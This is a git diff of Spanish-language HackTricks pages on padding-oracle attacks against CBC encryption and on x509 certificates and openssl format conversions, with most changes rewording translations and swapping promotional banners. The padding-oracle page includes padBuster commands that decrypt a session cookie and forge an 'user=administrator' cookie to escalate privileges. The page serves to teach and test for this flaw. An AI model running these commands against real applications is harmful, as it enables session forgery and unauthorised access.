-Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
+Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
{% embed url="https://whiteintel.io" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/crypto-and-stego/padding-oracle-priv.md b/crypto-and-stego/padding-oracle-priv.md
index 694cbfd12..de6e7ba69 100644
--- a/crypto-and-stego/padding-oracle-priv.md
+++ b/crypto-and-stego/padding-oracle-priv.md
@@ -1,22 +1,23 @@
-# Oráculo de Relleno
+# Padding Oracle
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## CBC - Cipher Block Chaining
-En el modo CBC, el **bloque cifrado anterior se utiliza como IV** para hacer XOR con el siguiente bloque:
+En el modo CBC, el **bloque cifrado anterior se utiliza como IV** para XOR con el siguiente bloque:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
@@ -24,14 +25,14 @@ Para descifrar CBC se realizan las **operaciones** **opuestas**:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
-Observa cómo es necesario utilizar una **clave de cifrado** y un **IV**.
+Nota cómo es necesario usar una **clave de cifrado** y un **IV**.
-## Relleno de Mensaje
+## Message Padding
-Como el cifrado se realiza en **bloques de tamaño fijo**, generalmente se necesita **relleno** en el **último bloque** para completar su longitud.\
-Usualmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si al último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`.
+Dado que el cifrado se realiza en **bloques** de **tamaño** **fijo**, generalmente se necesita **relleno** en el **último** **bloque** para completar su longitud.\
+Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si el último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`.
-Veamos más ejemplos con **2 bloques de longitud 8 bytes**:
+Veamos más ejemplos con **2 bloques de longitud 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@@ -40,15 +41,15 @@ Veamos más ejemplos con **2 bloques de longitud 8 bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
-Observa cómo en el último ejemplo el **último bloque estaba lleno, por lo que se generó otro solo con relleno**.
+Nota cómo en el último ejemplo el **último bloque estaba completo, por lo que se generó otro solo con relleno**.
-## Oráculo de Relleno
+## Padding Oracle
-Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido desencadena un comportamiento detectable**, tienes una **vulnerabilidad de oráculo de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados**, o una **respuesta más lenta**.
+Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido desencadena un comportamiento detectable**, tienes una **vulnerabilidad de oracle de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados** o una **respuesta más lenta**.
-Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto plano**.
+Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto claro**.
-### Cómo explotar
+### How to exploit
Podrías usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explotar este tipo de vulnerabilidad o simplemente hacer
```
@@ -58,25 +59,25 @@ Para probar si la cookie de un sitio es vulnerable, podrías intentar:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
-**Codificación 0** significa que se utiliza **base64** (pero hay otros disponibles, consulta el menú de ayuda).
+**Encoding 0** significa que se utiliza **base64** (pero hay otros disponibles, consulta el menú de ayuda).
-También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También puedes hacerlo usando `padbuster` especificando el parámetro -plaintext**:
+También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También podrías hacerlo usando `paduster` especificando el parámetro -plaintext**:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
-Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de relleno, pero también puedes indicar el mensaje de error usando el parámetro **-error**.
+Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de padding, pero también puedes indicar el mensaje de error utilizando el parámetro **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### La teoría
-En **resumen**, puedes comenzar a descifrar los datos encriptados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de oráculo de relleno comenzará a descifrar bytes desde el final hasta el principio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**.
+En **resumen**, puedes comenzar a descifrar los datos cifrados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de oracle de relleno comenzará a descifrar bytes desde el final hasta el inicio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**.
![](<../.gitbook/assets/image (561).png>)
-Imagina que tienes un texto encriptado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\
-Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por la "desencriptación del cifrado de bloque" generando los **bytes intermedios I0 a I15**.\
-Finalmente, cada byte intermedio es **XORed** con los bytes encriptados anteriores (E0 a E7). Así que:
+Imagina que tienes un texto cifrado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\
+Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por la "cifrado de bloque de descifrado" generando los **bytes intermedios I0 a I15**.\
+Finalmente, cada byte intermedio se **XOR** con los bytes cifrados anteriores (E0 a E7). Así que:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@@ -84,41 +85,42 @@ Finalmente, cada byte intermedio es **XORed** con los bytes encriptados anterior
* `C12 = I12 ^ E4`
* ...
-Ahora, es posible **modificar `E7` hasta que `C15` sea `0x01`**, lo que también será un relleno correcto. Entonces, en este caso: `\x01 = I15 ^ E'7`
+Ahora, es posible **modificar `E7` hasta que `C15` sea `0x01`**, lo que también será un relleno correcto. Así que, en este caso: `\x01 = I15 ^ E'7`
-Así que, encontrando E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7`
+Entonces, encontrando E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7`
Lo que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
-Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez probando a la fuerza el relleno `\x02\x02`.
+Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez forzando el relleno `\x02\x02`.
-Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` así que solo es necesario encontrar el **`E'14`** que genere un **`C14` igual a `0x02`**.\
-Luego, realiza los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
+Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` así que solo se necesita encontrar el **`E'14`** que genera un **`C14` igual a `0x02`**.\
+Luego, haz los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
-**Sigue esta cadena hasta que descifres todo el texto encriptado.**
+**Sigue esta cadena hasta que descifres todo el texto cifrado.**
### Detección de la vulnerabilidad
Registra una cuenta e inicia sesión con esta cuenta.\
-Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **incorrecto** en la aplicación. La **cookie enviada de vuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y **no habrá forma de invalidarla**.
+Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **mal** en la aplicación. La **cookie devuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y no **habrá manera de invalidarla**.
-Ahora, si intentas **modificar** la **cookie**, verás que recibes un **error** de la aplicación.\
-Pero si haces un BF al relleno (usando padbuster por ejemplo) lograrás obtener otra cookie válida para un usuario diferente. Este escenario es altamente probablemente vulnerable a padbuster.
+Ahora, si intentas **modificar** la **cookie**, puedes ver que obtienes un **error** de la aplicación.\
+Pero si forzas el relleno (usando padbuster por ejemplo) logras obtener otra cookie válida para un usuario diferente. Este escenario es altamente probable que sea vulnerable a padbuster.
### Referencias
-* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
+* [https://es.wikipedia.org/wiki/Modo\_de\_operaci%C3%B3n\_de\_cifrado\_por\_bloques](https://es.wikipedia.org/wiki/Modo_de_operaci%C3%B3n_de_cifrado_por_bloques)
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende a hackear AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/cryptography/certificates.md b/cryptography/certificates.md
index f86b38a2b..5d08d717f 100644
--- a/cryptography/certificates.md
+++ b/cryptography/certificates.md
@@ -1,58 +1,59 @@
# Certificados
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Red Team de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %}
\
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-¡Accede hoy mismo:
+Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## ¿Qué es un Certificado
+## ¿Qué es un Certificado?
-Un **certificado de clave pública** es una identificación digital utilizada en criptografía para demostrar que alguien es dueño de una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible una comunicación segura con el propietario de la clave.
+Un **certificado de clave pública** es una identificación digital utilizada en criptografía para probar que alguien posee una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible la comunicación segura con el propietario de la clave.
-Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) en una configuración de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Otro método es la [red de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas según lo descrito en el RFC 5280.
+Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) en una configuración de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Otro método es la [web de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas como se detalla en el RFC 5280.
## Campos Comunes de x509
### **Campos Comunes en Certificados x509**
-En los certificados x509, varios **campos** desempeñan roles críticos para garantizar la validez y seguridad del certificado. Aquí tienes un desglose de estos campos:
+En los certificados x509, varios **campos** juegan roles críticos para asegurar la validez y seguridad del certificado. Aquí hay un desglose de estos campos:
-* El **Número de Versión** indica la versión del formato x509.
-* El **Número de Serie** identifica de forma única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones.
-* El campo **Sujeto** representa al propietario del certificado, que puede ser una máquina, un individuo o una organización. Incluye una identificación detallada como:
+* **Número de Versión** significa la versión del formato x509.
+* **Número de Serie** identifica de manera única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones.
+* El campo **Sujeto** representa al propietario del certificado, que podría ser una máquina, un individuo o una organización. Incluye identificación detallada como:
* **Nombre Común (CN)**: Dominios cubiertos por el certificado.
* **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos.
-* El **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto.
-* El **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA.
-* El **Período de Validez** está marcado por marcas de tiempo de **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una fecha determinada.
+* **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto.
+* **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA.
+* El **Período de Validez** está marcado por las marcas de tiempo **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una cierta fecha.
* La sección de **Clave Pública**, crucial para la seguridad del certificado, especifica el algoritmo, tamaño y otros detalles técnicos de la clave pública.
-* Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso Extendido de Clave**, **Nombre Alternativo del Sujeto** y otras propiedades para ajustar la aplicación del certificado.
+* Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso de Clave Extendida**, **Nombre Alternativo del Sujeto** y otras propiedades para afinar la aplicación del certificado.
#### **Uso de Clave y Extensiones**
-* El **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como firma digital o cifrado de clave.
-* El **Uso Extendido de Clave** reduce aún más los casos de uso del certificado, por ejemplo, para la autenticación del servidor TLS.
+* **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como firma digital o cifrado de clave.
+* **Uso de Clave Extendida** delimita aún más los casos de uso del certificado, por ejemplo, para autenticación de servidor TLS.
* **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente.
-* Identificadores como **Identificador de Clave del Sujeto** e **Identificador de Clave de Autoridad** garantizan la singularidad y trazabilidad de las claves.
-* **Acceso a la Información de la Autoridad** y **Puntos de Distribución de la Lista de Revocación (CRL)** proporcionan rutas para verificar la CA emisora y verificar el estado de revocación del certificado.
-* **CT Precertificate SCTs** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado.
+* Identificadores como **Identificador de Clave del Sujeto** y **Identificador de Clave de la Autoridad** aseguran la unicidad y trazabilidad de las claves.
+* **Acceso a Información de la Autoridad** y **Puntos de Distribución de CRL** proporcionan rutas para verificar la CA emisora y comprobar el estado de revocación del certificado.
+* **SCTs de Precertificado CT** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@@ -74,39 +75,41 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
-### **Diferencia entre los Puntos de Distribución OCSP y CRL**
+### **Diferencia entre OCSP y Puntos de Distribución CRL**
-**OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado de clave pública digital ha sido revocado, sin necesidad de descargar la **CRL** completa. Este método es más eficiente que la tradicional **CRL**, que proporciona una lista de números de serie de certificados revocados pero requiere la descarga de un archivo potencialmente grande. Las CRL pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
+**OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado digital de clave pública ha sido revocado, sin necesidad de descargar el **CRL** completo. Este método es más eficiente que el **CRL** tradicional, que proporciona una lista de números de serie de certificados revocados pero requiere descargar un archivo potencialmente grande. Los CRL pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
-### **¿Qué es la Transparencia de Certificados?**
+### **Qué es la Transparencia de Certificados**
-La Transparencia de Certificados ayuda a combatir las amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, las Autoridades de Certificación y los usuarios. Sus objetivos son:
+La Transparencia de Certificados ayuda a combatir amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, CAs y usuarios. Sus objetivos son:
-* Evitar que las Autoridades de Certificación emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio.
+* Prevenir que las CAs emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio.
* Establecer un sistema de auditoría abierto para rastrear certificados emitidos por error o de manera maliciosa.
* Proteger a los usuarios contra certificados fraudulentos.
#### **Registros de Certificados**
-Los registros de certificados son registros públicamente auditables y de solo adición de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas con fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para su verificación. Aunque el número exacto de servidores de registro no está fijo, se espera que sea inferior a mil a nivel mundial. Estos servidores pueden ser gestionados de forma independiente por Autoridades de Certificación, proveedores de servicios de Internet o cualquier entidad interesada.
+Los registros de certificados son registros auditables públicamente, de solo anexar, de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas para fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para verificación. Aunque el número exacto de servidores de registro no es fijo, se espera que sea menos de mil a nivel mundial. Estos servidores pueden ser gestionados de manera independiente por CAs, ISPs o cualquier entidad interesada.
#### **Consulta**
Para explorar los registros de Transparencia de Certificados para cualquier dominio, visita [https://crt.sh/](https://crt.sh).
+Existen diferentes formatos para almacenar certificados, cada uno con sus propios casos de uso y compatibilidad. Este resumen cubre los formatos principales y proporciona orientación sobre la conversión entre ellos.
+
## **Formatos**
### **Formato PEM**
-* Formato más ampliamente utilizado para certificados.
+* Formato más utilizado para certificados.
* Requiere archivos separados para certificados y claves privadas, codificados en Base64 ASCII.
* Extensiones comunes: .cer, .crt, .pem, .key.
-* Principalmente utilizado por servidores Apache y similares.
+* Utilizado principalmente por Apache y servidores similares.
### **Formato DER**
* Un formato binario de certificados.
-* Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en archivos PEM.
+* Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en los archivos PEM.
* Extensiones comunes: .cer, .der.
* A menudo utilizado con plataformas Java.
@@ -114,7 +117,7 @@ Para explorar los registros de Transparencia de Certificados para cualquier domi
* Almacenado en Base64 ASCII, con extensiones .p7b o .p7c.
* Contiene solo certificados y certificados de cadena, excluyendo la clave privada.
-* Compatible con Microsoft Windows y Java Tomcat.
+* Soportado por Microsoft Windows y Java Tomcat.
### **Formato PFX/P12/PKCS#12**
@@ -124,7 +127,7 @@ Para explorar los registros de Transparencia de Certificados para cualquier domi
### **Conversión de Formatos**
-Las **conversiones PEM** son esenciales para la compatibilidad:
+**Las conversiones PEM** son esenciales para la compatibilidad:
* **x509 a PEM**
```bash
@@ -146,7 +149,7 @@ openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
-**Conversiones PFX** son cruciales para gestionar certificados en Windows:
+**Las conversiones PFX** son cruciales para gestionar certificados en Windows:
* **PFX a PEM**
```bash
@@ -158,14 +161,6 @@ openssl pkcs12 -in certificatename.pfx -out certificatename.pem
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convertir PEM a PKCS8
-
-Para convertir un archivo PEM a formato PKCS8, puedes utilizar la herramienta OpenSSL con el siguiente comando:
-
-```bash
-openssl pkcs8 -topk8 -inform PEM -outform DER -in archivo.pem -out archivo.pk8 -nocrypt
-```
-
-Esto convertirá el archivo PEM a formato PKCS8 y lo guardará como archivo.pk8 en formato DER.
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
@@ -174,30 +169,31 @@ openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
-2. Convertir CER y Clave Privada a PFX
+2. Convertir CER y clave privada a PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
***
-
+
\
-Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
-¡Obtenga acceso hoy:
+Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprenda hacking en AWS de cero a héroe conhtARTE (Experto en Red Team AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtenga [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
